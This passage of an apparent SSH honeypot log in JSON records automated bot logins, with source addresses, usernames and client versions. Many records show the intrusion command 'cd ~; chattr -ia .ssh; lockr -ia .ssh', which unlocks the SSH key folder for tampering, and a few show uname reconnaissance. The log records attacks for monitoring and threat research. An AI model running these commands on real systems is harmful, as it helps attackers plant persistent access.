  "src_ip": "63.141.242.2",
  "src_port": 55944,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:16:34.644942+00:00",
  "ended_at": "2026-08-27T12:17:24.089070+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fe5b7c35-3ce5-4bff-b1e5-8e487ed5dab9",
  "name": "windswept-earnest-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59540,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 443,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:15:45.537099+00:00",
  "ended_at": "2026-08-27T12:15:47.083834+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "779e6bda-1ea1-48e9-a699-6b4db9dfc7e7",
  "name": "polar-rambling-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 37324,
  "username": "sklep",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:15:38.945247+00:00",
  "ended_at": "2026-08-27T12:15:40.531770+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "4ce08521-74d7-484d-bd2b-50f1e132ad39",
  "name": "languid-dusky-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 34528,
  "username": "ftproot",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:15:30.385373+00:00",
  "ended_at": "2026-08-27T12:15:31.284296+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2307
 },
 {
  "id": "cc63b7a8-7d0d-4d94-9f1e-e74d6fa1408b",
  "name": "faded-nimble-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59546,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:28.220667+00:00",
  "ended_at": "2026-08-27T12:15:29.800059+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6de322b9-0ff9-46da-903c-12ea7c21f16b",
  "name": "wry-stoic-merlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59542,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:26.255477+00:00",
  "ended_at": "2026-08-27T12:15:27.317010+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "632586ea-1ecd-47e6-ba8b-17196908bbcf",
  "name": "mindful-craggy-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37348,
  "username": "sklep",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:24.393971+00:00",
  "ended_at": "2026-08-27T12:15:25.858356+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "58e3a3fd-ebbd-47a5-aa35-506d68572dc3",
  "name": "courtly-downy-shelduck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 37338,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:21.928506+00:00",
  "ended_at": "2026-08-27T12:15:23.740770+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c6719c1f-f941-4205-93f1-36950bcf85da",
  "name": "vernal-oaken-warbler",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 41666,
  "username": "ftproot",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:16.537435+00:00",
  "ended_at": "2026-08-27T12:15:17.624575+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cdafba44-6f51-4b54-8b6d-590f87c240db",
  "name": "marbled-grumpy-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 34544,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:15:14.320622+00:00",
  "ended_at": "2026-08-27T12:15:16.007068+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b0360082-aeed-4dc0-93ca-08aceb310c4f",
  "name": "tranquil-jovial-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 33462,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 776,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:14:52.521448+00:00",
  "ended_at": "2026-08-27T12:14:53.775731+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "b0b0266a-9cb6-4fde-ae1d-7796c1b791bb",
  "name": "western-early-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 58892,
  "username": "anu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 297,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:14:45.268099+00:00",
  "ended_at": "2026-08-27T12:14:47.079215+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2240
 },
 {
  "id": "a41ca91b-4f90-430a-9ab3-b49e791077e7",
  "name": "reedy-gleaming-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58910,
  "username": "anu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:14:30.222168+00:00",
  "ended_at": "2026-08-27T12:14:30.853385+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e8fb0c0e-e245-4148-b3cc-c3699a2ce4f1",
  "name": "lively-eager-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 40198,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:14:30.209606+00:00",
  "ended_at": "2026-08-27T12:14:31.376236+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1ea0cdd7-eeb5-41ad-be52-b87fb7ec5f44",
  "name": "scarlet-cobalt-peccary",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 58904,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:14:28.154712+00:00",
  "ended_at": "2026-08-27T12:14:29.635695+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c77cb6f6-16b0-415a-97bb-8076a308b1aa",
  "name": "quiet-idle-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 33470,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:14:27.550298+00:00",
  "ended_at": "2026-08-27T12:14:28.549874+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a15e457a-605c-42ad-9f45-8cab25746fdc",
  "name": "mighty-balmy-moose",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 42444,
  "username": "super",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 525,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:13:48.400863+00:00",
  "ended_at": "2026-08-27T12:13:49.905029+00:00",
  "ended_reason": "exec complete",
  "commands": 7,
  "transcript_bytes": 738
 },
 {
  "id": "052656f7-0f3a-4553-91ff-893e15d0df4f",
  "name": "hushed-alpine-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 57014,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 330,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:13:37.615119+00:00",
  "ended_at": "2026-08-27T12:13:38.850014+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d9d3e978-c9b7-4f69-b14e-6fc80085d958",
  "name": "cheerful-amber-wren",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 36380,
  "username": "nico",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 261,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:13:31.294117+00:00",
  "ended_at": "2026-08-27T12:13:32.597213+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "fc2385d9-513b-4393-b0b4-6ca8f596ed2c",
  "name": "crisp-gleaming-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 54456,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:13:22.238840+00:00",
  "ended_at": "2026-08-27T12:13:23.821651+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "363515e9-6ef8-4fd6-a333-97bef7d7b5b9",
  "name": "marbled-crisp-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 54454,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:13:19.949822+00:00",
  "ended_at": "2026-08-27T12:13:21.550135+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "66fa8793-ad2b-41de-9a51-418d1b62c44a",
  "name": "prickly-feral-numbat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36392,
  "username": "nico",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:13:15.876454+00:00",
  "ended_at": "2026-08-27T12:13:17.213339+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e5c36fb-56db-4d14-b49d-f4dd3c1d794b",
  "name": "orderly-sincere-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 36386,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:13:14.341235+00:00",
  "ended_at": "2026-08-27T12:13:15.355040+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "34cbb54a-7eae-4549-a703-86074d83de0d",
  "name": "lofty-lively-crane",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59510,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:13:04.316963+00:00",
  "ended_at": "2026-08-27T12:13:05.593037+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "f73686be-9c3a-430c-b31c-f3f2a2228069",
  "name": "smoky-blunt-macaw",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59526,
  "username": "dev",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:12:46.992336+00:00",
  "ended_at": "2026-08-27T12:12:48.804198+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "1506c126-838f-49b9-abea-fe9e2779b122",
  "name": "frank-knotted-stonechat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59512,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:12:45.329356+00:00",
  "ended_at": "2026-08-27T12:12:46.091073+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "094e7a1a-94b8-4321-8b66-12b7e420acef",
  "name": "wandering-jagged-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 46216,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 291,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:12:36.364067+00:00",
  "ended_at": "2026-08-27T12:12:37.449473+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "8a794092-8f44-4700-b993-93994fedc00a",
  "name": "vigilant-loyal-sloth",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46226,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:12:21.769234+00:00",
  "ended_at": "2026-08-27T12:12:22.396094+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "64842450-616a-4714-9f1e-c9df2e91faf2",
  "name": "muted-nautical-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 46220,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:12:20.414823+00:00",
  "ended_at": "2026-08-27T12:12:21.188998+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0084b181-c820-452e-ac60-0cbd554930b1",
  "name": "keen-brazen-finch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43572,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:11:46.280069+00:00",
  "ended_at": "2026-08-27T12:11:48.168866+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be01e14c-ee77-4eeb-8503-f8cb360f031d",
  "name": "craggy-pewter-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "202.155.157.112",
  "src_port": 43566,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:11:43.311641+00:00",
  "ended_at": "2026-08-27T12:11:44.815731+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2e50162-27ac-4f2e-a9de-23030304e863",
  "name": "solar-jolly-elk",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 43550,
  "username": "frappe",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:11:40.040155+00:00",
  "ended_at": "2026-08-27T12:11:41.541019+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "073159ff-aca6-436d-931a-c03df328242f",
  "name": "frank-marine-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 38680,
  "username": "pal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:11:31.041436+00:00",
  "ended_at": "2026-08-27T12:11:32.356603+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2246
 },
 {
  "id": "c6d33d7b-179d-457f-80a7-328403c87a56",
  "name": "wandering-crimson-cuckoo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 48332,
  "username": "pal",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:11:17.225815+00:00",
  "ended_at": "2026-08-27T12:11:18.422477+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "16142c38-44cf-45cd-9eec-7127bc961686",
  "name": "sincere-coastal-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 38690,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:11:15.329177+00:00",
  "ended_at": "2026-08-27T12:11:16.703170+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e142a613-cd48-415e-a524-15b13ca45853",
  "name": "rustic-western-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.57.122.53",
  "src_port": 57106,
  "username": "sniping",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "/bin/./uname -s -v -n -r -m",
  "started_at": "2026-08-27T12:10:39.067709+00:00",
  "ended_at": "2026-08-27T12:10:46.729825+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 27
 },
 {
  "id": "5cd78e11-7c61-462e-a56c-3c4ae0d6382f",
  "name": "canny-grassy-quoll",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "91.218.67.81",
  "src_port": 51418,
  "username": "dan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 299,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:10:38.041176+00:00",
  "ended_at": "2026-08-27T12:10:39.407092+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "c391edc6-1849-44c2-accc-52206383b387",
  "name": "calm-cobalt-armadillo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "187.111.28.131",
  "src_port": 59490,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 461,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:10:25.466051+00:00",
  "ended_at": "2026-08-27T12:10:26.800070+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "d2c45826-e87c-44f2-98c3-cf20b94f7a3d",
  "name": "craggy-sunlit-thrush",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 51430,
  "username": "dan",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:10:23.939006+00:00",
  "ended_at": "2026-08-27T12:10:24.984147+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "acb246c7-0d56-47e0-bfdf-da8b4bfe525d",
  "name": "ginger-sincere-heron",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.218.67.81",
  "src_port": 51424,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:10:21.479732+00:00",
  "ended_at": "2026-08-27T12:10:23.359522+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2cebf8e2-48ac-4180-a403-6c2558213b56",
  "name": "dewy-ivory-bluebird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "2.26.148.64",
  "src_port": 34578,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 327,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:10:11.214918+00:00",
  "ended_at": "2026-08-27T12:10:12.392297+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "e4612bb1-cf0c-405e-bda3-2d4321be8388",
  "name": "fringed-amber-albatross",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59496,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:10:07.219694+00:00",
  "ended_at": "2026-08-27T12:10:09.066654+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "551f0dfc-c467-4d2b-88e6-5bd314ed9054",
  "name": "indigo-creaky-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "187.111.28.131",
  "src_port": 59492,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:10:05.161413+00:00",
  "ended_at": "2026-08-27T12:10:06.317828+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cee588af-453c-4b67-a80a-765a10a9c803",
  "name": "thrifty-reedy-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 34602,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:09:54.259468+00:00",
  "ended_at": "2026-08-27T12:09:56.046111+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8f1be544-6866-4c61-9dbe-0e73c904a846",
  "name": "cheerful-tender-seal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "2.26.148.64",
  "src_port": 34594,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:09:51.731699+00:00",
  "ended_at": "2026-08-27T12:09:53.610094+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7a3f793e-e0fa-41d6-94f4-330526e620df",
  "name": "prairie-fringed-sandpiper",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "51.255.195.46",
  "src_port": 37150,
  "username": "nikita",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 266,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-27T12:09:33.060767+00:00",
  "ended_at": "2026-08-27T12:09:34.216657+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2251
 },
 {
  "id": "432bc7d4-c7d6-4316-ad46-30aa3190eefc",
  "name": "clever-pleasant-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 54950,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:09:27.844337+00:00",
  "ended_at": "2026-08-27T12:09:30.168933+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c78bf894-0318-4542-ad37-d34d5398dfa7",
  "name": "sooty-coastal-gazelle",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37174,
  "username": "nikita",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:09:20.222520+00:00",
  "ended_at": "2026-08-27T12:09:20.884645+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ecdaef1f-1c0a-4b30-ae14-5c1080eedfff",
  "name": "bronzed-blithe-gharial",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "51.255.195.46",
  "src_port": 37162,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-27T12:09:18.150740+00:00",
  "ended_at": "2026-08-27T12:09:19.674026+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c9f47f74-03c9-4ed8-88d9-75e2f9ccd405",
  "name": "polar-shaded-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "202.155.157.112",
  "src_port": 41982,
  "username": "root",
